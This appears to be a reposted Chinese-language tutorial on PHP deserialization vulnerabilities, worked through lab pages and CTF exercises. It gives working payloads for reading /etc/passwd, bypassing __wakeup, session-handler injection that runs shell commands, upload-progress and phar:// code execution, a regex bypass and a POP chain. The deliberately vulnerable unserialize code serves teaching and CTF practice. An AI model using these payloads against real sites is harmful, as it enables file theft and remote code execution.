序列化與反序列化
序列化用途:方便于物件在網路中的傳輸和存盤
0x01 php反序列化漏洞
在PHP應用中,序列化和反序列化一般用做快取,比如session快取,cookie等,
常見的序列化格式:
- 二進制格式
- 位元組陣列
- json字串
- xml字串
序列化就是將物件轉換為流,利于儲存和傳輸的格式
反序列化與序列化相反,將流轉換為物件
例如:json序列化、XML序列化、二進制序列化、SOAP序列化
而php的序列化和反序列化基本都圍繞著 serialize(),unserialize()這兩個函式
php物件中常見的魔術方法
__construct() // 當一個物件創建時被呼叫,
__destruct() // 當一個物件銷毀時被呼叫,
__toString() // 當一個物件被當作一個字串被呼叫,
__wakeup() // 使用unserialize()會檢查是否存在__wakeup()方法,如果存在則會先呼叫,預先準備物件需要的資源
__sleep() // 使用serialize()會檢查是否存在__wakeup()方法,如果存在則會先呼叫,預先準備物件需要的資源
__destruct() // 物件被銷毀時觸發
__call() // 在物件背景關系中呼叫不可訪問的方法時觸發
__callStatic() // 在靜態背景關系中呼叫不可訪問的方法時觸發
__get() // 用于從不可訪問的屬性讀取資料
__set() // 用于將資料寫入不可訪問的屬性
__isset() // 在不可訪問的屬性上呼叫isset()或empty()觸發
__unset() // 在不可訪問的屬性上使用unset()時觸發
__toString() // 把類當作字串使用時觸發,回傳值需要為字串
__invoke() // 當腳本嘗試將物件呼叫為函式時觸發
PHP序列化資料
測驗腳本 test.php
<?php
class User
{
public $name = '';
public $age = 0;
public $addr = '';
public function __toString()
{
return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;
}
}
$user = new User();
$user->name = 'default';
$user->age = '0';
$user->addr = 'default';
echo serialize($user);
?>
這是一個物件通過serialize()方法序列化后的格式

a - array b - boolean
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string
當一個頁面發現傳遞引數類似物件序列化的資料格式,可以測驗是否存在反序列化漏洞
php物件中屬性的訪問級別
測驗 test.php
class User
{
private $name = 'default';
public $age = 18;
protected $addr = 'default';
public function __toString()
{
return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;
}
}
$user = new User();
echo serialize($user);

private 的屬性序列化后變成 <0x00>物件<0x00>屬性名
public 沒有任何變化
protected 的屬性序列化后變成 <0x00>*<0x00>屬性名
特殊十六進制<0x00>表示一個壞位元組,就是空位元組
下面測驗正確的傳值姿勢進行反序列化
代碼后添加幾句
$obj = unserialize($_POST['usr_serialized']);
echo $obj;
先是測驗普通的訪問形式來傳值
usr_serialized=O:4:"User":3:{s:4:"name";s:5:"admin";s:3:"age";i:22;s:4:"addr";s:8:"xxxxxxxx";}

public被正常修改,private、protected無法被物件外修改
如何才能從外部修改被保護的屬性值呢?
將 <0x00>的位置用 %00代替
usr_serialized=O:4:"User":3:{s:10:"%00User%00name";s:5:"admin";s:3:"age";i:22;s:7:"%00*%00addr";s:8:"xxxxxxxx";}

可以發現即使是被保護的屬性也會被外部修改
php反序列化演示
假設頁面有個介面引數可控
<?php
class FileClass
{
public $filename = 'error.log';
public function __toString()
{
return file_get_contents($this->filename);
}
}
class User
{
public $name = '';
public $age = 0;
public $addr = '';
public function __toString()
{
return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;
}
}
# 引數可控
$obj = unserialize($_POST['usr_serialized']);
echo $obj;
?>
測驗頁面是通過post來傳遞引數,實戰環境不一定在post中,引數可能會被加密編碼過
先傳遞一個 O:4:"User":3:{s:4:"name";s:4:"user";s:3:"age";s:2:"23";s:4:"addr";s:8:"xxxxxxxx";}

通過修改引數,判斷引數是否可變

引數可變
反序列化漏洞利用
漏洞形成條件
- 引數可變
- 有可利用函式
假設存在可利用函式
測驗代碼 test.php
<?php
class FileClass
{
public $filename = 'error.log';
public function __toString()
{
# 讀取檔案函式
return file_get_contents($this->filename);
}
}
class User
{
public $name = '';
public $age = 0;
public $addr = '';
public function __toString()
{
return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;
}
}
# 引數可控
$obj = unserialize($_POST['usr_serialized']);
echo $obj;
?>
可知存在一個file_get_contents()檔案讀取函式,
構造惡意引數 O:9:"FileClass":1:{s:8:"filename";s:8:"test.php";}
將之前User的介面改為讀取檔案的類構造引數,FileClass只有一個filename屬性,只需要傳遞要讀取的檔案名就行

用同樣的引數名傳遞惡意引數,導致當前目錄的test.php被讀取,也可以嘗試讀取其他檔案
讀取test.txt

嘗試讀取/etc/passwd
構造引數 O:9:"FileClass":1:{s:8:"filename";s:11:"/etc/passwd";}

0x02 繞過 __wakeup()
__wakeup() 類似一個預處理的作用,在執行unserialize()時會檢測是否存在wakeup,存在則先執行 __wakeup()
繞過方式
這種方式繞過是由PHP的版本漏洞造成的
繞過__wakeup()只需要將引數的個數改成超過現有的引數個數即可
影響版本
PHP5 < 5.6.25
PHP7 < 7.0.10
5.6.40和5.5.38測驗對比
測驗頁面 test.php
測驗版本 php 5.6.40
測驗系統 Linux
IP :192.168.80.11
<?php
// ...省略其他代碼
class CMDClass{
public $cmd = "";
function __wakeup(){
if(strpos($this->cmd,'ls')!==false){
$this->cmd = " ";
}
}
function __destruct(){
passthru($this->cmd,$result);
}
function __toString(){
return "";
}
}
$obj = unserialize($_POST['usr_serialized']);
echo $obj;
?>
這里 __wakeup() 中,判斷如果輸入的cmd引數中存在 "ls" 的字串,則將cmd置為空格,
構造引數 O:8:"CMDClass":1:{s:3:"cmd";s:2:"ls";}

將引數的個數改成超過現有的引數個數進行繞過

更新后的版本,無法繞過會產生報錯
換一臺虛擬機進行測驗
測驗頁面 test.php
測驗版本 php 5.5.38
測驗系統 Windows 7
IP :192.168.80.128
測驗頁面 php_unser.php
<?php
// ...其余都一樣
function __wakeup(){
# 因為win7沒有ls命令,所以這里來限制ipconfig命令
if(strpos($this->cmd,'ip')!==false){
$this->cmd = "echo 非法輸入";
}
}
?>
構造引數 O:8:"CMDClass":1:{s:3:"cmd";s:8:"ipconfig";}

發現被__wakeup()過濾了
修改引數個數進行繞過 O:8:"CMDClass":3:{s:3:"cmd";s:8:"ipconfig";}

經測驗可以繞過
0x03 Session反序列化
php中的session內容不是存放在記憶體中,是以檔案形式存在,存盤方式就是由配置項session.save_handler來進行確定的,默認是以檔案的方式存盤,存盤的檔案是以
sess_sessionid來進行命名的,檔案的內容就是session值的序列化之后的內容,

存盤方式
php_binary存盤方式是,鍵名的長度對應的ASCII字符+鍵名+經過serialize()函式序列化處理的值php存盤方式是,鍵名+豎線+經過serialize()函式序列處理的值php_serialize(php>5.5.4)存盤方式是,經過serialize()函式序列化處理的值
設定格式
ini_set('session.serialize_handler', '需要設定的引擎');
默認下session存盤為 php 存盤方式
<?php
session_start();
$_SESSION['name'] = 'admin';
echo "session_id: ".session_id()."<br>";
passthru("cat /tmp/sess_".session_id());
?>
// session內容 name|s:5:"admin";

php_serialize引擎
ini_set("session.serialize_handler","php_serialize");
session_start();
// ...
// session內容 a:1:{s:4:"name";s:5:"admin";}

php_binary引擎
ini_set("session.serialize_handler","php_binary");
session_start();
// ...
// session內容
ASCII的值為4的字符無法列印顯示

漏洞原理
當session使用不當,如php反序列化儲存時使用引擎和序列化使用的引擎不一樣,就會形成漏洞,
漏洞復現
本次測驗,以 php引擎和 php_serialize引擎混合引發的漏洞
測驗頁面1 target1.php --> php_serialize引擎
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["name"]=$_GET["name"];
if ($_SESSION["name"] !== null && $_SESSION["name"] !== "") {
echo "歡迎來到第一個頁面,Session已保存!";
}
?>
測驗頁面2 target2.php --> php引擎
<?php
ini_set('session.serialize_handler','php');
session_start();
// 開啟session之后 無需呼叫會自動加載
class Admin
{
var $name;
function __construct()
{
$this->name = "default";
}
function __destruct(){
// 執行命令
passthru($this->name);
}
}
?>
通過向 target1.php傳遞一個name為 admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}
然后在訪問 target2.php,會發現之前傳遞引數中的 cat /etc/passwd命令被執行

這是發生了什么?!!
漏洞觸發流程
首先通過訪問 target1.php并且傳遞了引數 name=admin|O:5:"Admin":1:{s:4:"name";s:15:"cat%20/etc/passwd";}

而target1.php頁面是php_serialize引擎來存盤session,所以session保存后的內容變成了 a:1:{s:4:"name";s:56:"admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}

然后當訪問target2.php時,會用第二個頁面的 php引擎來決議session,通過 |來分割字串取出對應的值;
Session值
a:1:{s:4:"name";s:56:"admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}
分解后, a:1:{s:4:"name";s:48:"admin被當作session的key值
O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}被決議成value
Session本身就是序列化和反序列化的存盤方式
通過session將O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}反序列化
就會生成 Admin物件和一個屬性值為 cat /etc/passwd的name
再通過物件的銷毀魔術方法__destruct()就會形成惡意的命令執行


CTF題實戰
為了符合題意需要將 php.ini中的 serialize_handler 修改一下


題目測驗頁面 test3.php
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('test3.php'));
}
?>
訪問 <http://192.168.80.11/test3.php?phpinfo=phpinfo()>

符合上面將的漏洞環境
通過源碼可以看出并沒有可以傳入引數的地方
不過在phpinfo中可以看到 session.upload_progress.enabled 是打開的
Session 上傳進度
當 session.upload_progress.enabled INI 選項開啟時,PHP 能夠在每一個檔案上傳時監測上傳進度,這個資訊對上傳請求自身并沒有什么幫助,但在檔案上傳時應用可以發送一個POST請求到終端(例如通過XHR)來檢查這個狀態
當一個上傳在處理中,同時POST一個與INI中設定的session.upload_progress.name同名變數時,上傳進度可以在$_SESSION中獲得,當PHP檢測到這種POST請求時,它會在$_SESSION中添加一組資料, 索引是 session.upload_progress.prefix 與 session.upload_progress.name連接在一起的值
構造一個post表單
<form action="http://192.168.80.11/test3.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value=https://www.cnblogs.com/r0ckysec/p/"123">
上傳一個檔案,抓包分析

修改 filename 的值為 |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}

session值 先是以php_serialize引擎序列化后儲存

后輸出頁面被 php引擎決議觸發反序列化漏洞
構造payload |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:26:\"print_r(scandir(\"/tmp/\"));\";}
可以遍歷 /tmp/ 內的所有檔案

0x04 反序列化繞過正則
測驗頁面原始碼 test4.php
<?php
@error_reporting(1);
include 'flag.php';
echo $_GET['data'];
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
if (isset($_GET['data']))
{
$data = https://www.cnblogs.com/r0ckysec/p/$_GET['data'];
preg_match('/[oc]:\d+:/i',$data,$matches);
if(count($matches))
{
die('Hacker!');
}
else
{
$good = unserialize($data);
echo $good;
}
}
else
{
highlight_file("./test4.php");
}
?>
首先訪問 <http://192.168.80.11/test4.php>
通過原始碼可以看出存在一個反序列化漏洞

根據之前的經驗直接構造一個 序列化payload O:4:"baby":1:{s:4:"file";s:9:"index.php";}
但是由于存在正則運算式 preg_match('/[oc]:\d+:/i',$data,$matches); 對序列化字串做了限制導致觸發防御

接下來嘗試繞過正則運算式,前面的O:4:符合正則的條件,因此將其繞過即可,利用符號+就不會正則匹配到數字,新的payload 為O:+4:"baby":1:{s:4:"file";s:9:"index.php";}

并沒有什么變化的原因是,在url中 + 號會被解釋為空格,所以需要將 + url編碼后加入

嘗試訪問 flag.php

繞過正則運算式
實戰中需根據正則運算式規則來進行繞過
0x05 phar反序列化
phar偽協議觸發php反序列化
phar://協議
可以將多個檔案歸入一個本地檔案夾,也可以包含一個檔案
phar檔案
PHAR(PHP歸檔)檔案是一種打包格式,通過將許多PHP代碼檔案和其他資源(例如影像,樣式表等)捆綁到一個歸檔檔案中來實作應用程式和庫的分發,所有PHAR檔案都使用.phar作為檔案擴展名,PHAR格式的歸檔需要使用自己寫的PHP代碼,
案例演示
假設已知頁面 test5.php
<?php
if(isset($_GET['filename'])){
$filename=$_GET['filename'];
class MyClass{
var $output='echo "nice"';
function __destruct(){
eval($this->output);
}
}
var_dump(file_exists($filename));
file_exists($filename);
}
else{
highlight_file(__FILE__);
}
接下來根據原始碼中的類來構造一個phar檔案
創建一個 phar.php
<?php
class MyClass{
var $output='phpinfo();';
function __destruct(){
eval($this->output);
}
}
@unlink("./myclass.phar");
$a=new MyClass;
$a->output='phpinfo();';
$phar = new Phar("./myclass.phar"); // 后綴必須為 phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a); // 將自定義的meta-data存入manifest
$phar->addFromString("test.txt","test"); // 添加壓縮檔案
// 簽名自動計算
$phar->stopBuffering();
?>
通過訪問或者 php 編譯去生成 phar檔案
注意:必須要在php.ini中設定 phar.readonly = Off 不然無法生存phar檔案
通過查看,其中有一串序列化字串正是和已知頁面原始碼中類相對應

可以通過上傳檔案等方式將phar檔案放到服務器上
先通過正常url http://192.168.80.11/test5.php?filename=index.php 訪問

找到phar檔案的路徑
利用 phar:// 協議來訪問
http://192.168.80.11/test5.php?filename=phar://myclass.phar

可以利用phar檔案中存在的序列化字串來導致頁面反序列化漏洞的
0x06 POP鏈構造
測驗頁面 pop.php
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo sprintf("flag{%s}","P0p_S2EreaWqfFFwiOk1mttT");
}
}
$a = $_GET['string'];
unserialize($a);
?>
解題思路:
- 首先發現找到flag,發現flag需要通過
GetFlag類中get_flag()函式輸出,然后可以看到string1類中的__toString()方法可以直接呼叫get_flag()方法,而str1需要賦值為GetFlag, - 發現類
func中存在__invoke方法執行了字串拼接,需要把func當成函式使用自動呼叫__invoke然后把$mod1賦值為string1的物件與$mod2拼接, - 在
funct中找到了函式呼叫,需要把mod1賦值為func類的物件,又因為函式呼叫在__call方法中,且引數為$test2,即無法呼叫test2方法時自動呼叫__call方法; - 在
Call中的test1方法中存在$this->mod1->test2();,需要把$mod1賦值為funct的物件,讓__call自動呼叫, - 查找
test1方法的呼叫點,在start_gg中發現$this->mod1->test1();,把$mod1賦值為start_gg類的物件,等待__destruct()自動呼叫,
通過構造pop鏈輸出payload
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new Call();//把$mod1賦值為Call類物件
}
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new funct();//把 $mod1賦值為funct類物件
}
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new func();//把 $mod1賦值為func類物件
}
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new string1();//把 $mod1賦值為string1類物件
}
public function __invoke()
{
$this->mod2 = "字串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public function __construct()
{
$this->str1= new GetFlag();//把 $str1賦值為GetFlag類物件
}
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$b = new start_gg;//構造start_gg類物件$b
echo serialize($b);
執行后輸出 payload O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":1:{s:4:"str1";O:7:"GetFlag":0:{}}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}
將payload帶入到引數發送請求,輸出flag

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/63517.html
標籤:其他
下一篇:Cisco交換機基本使用命令
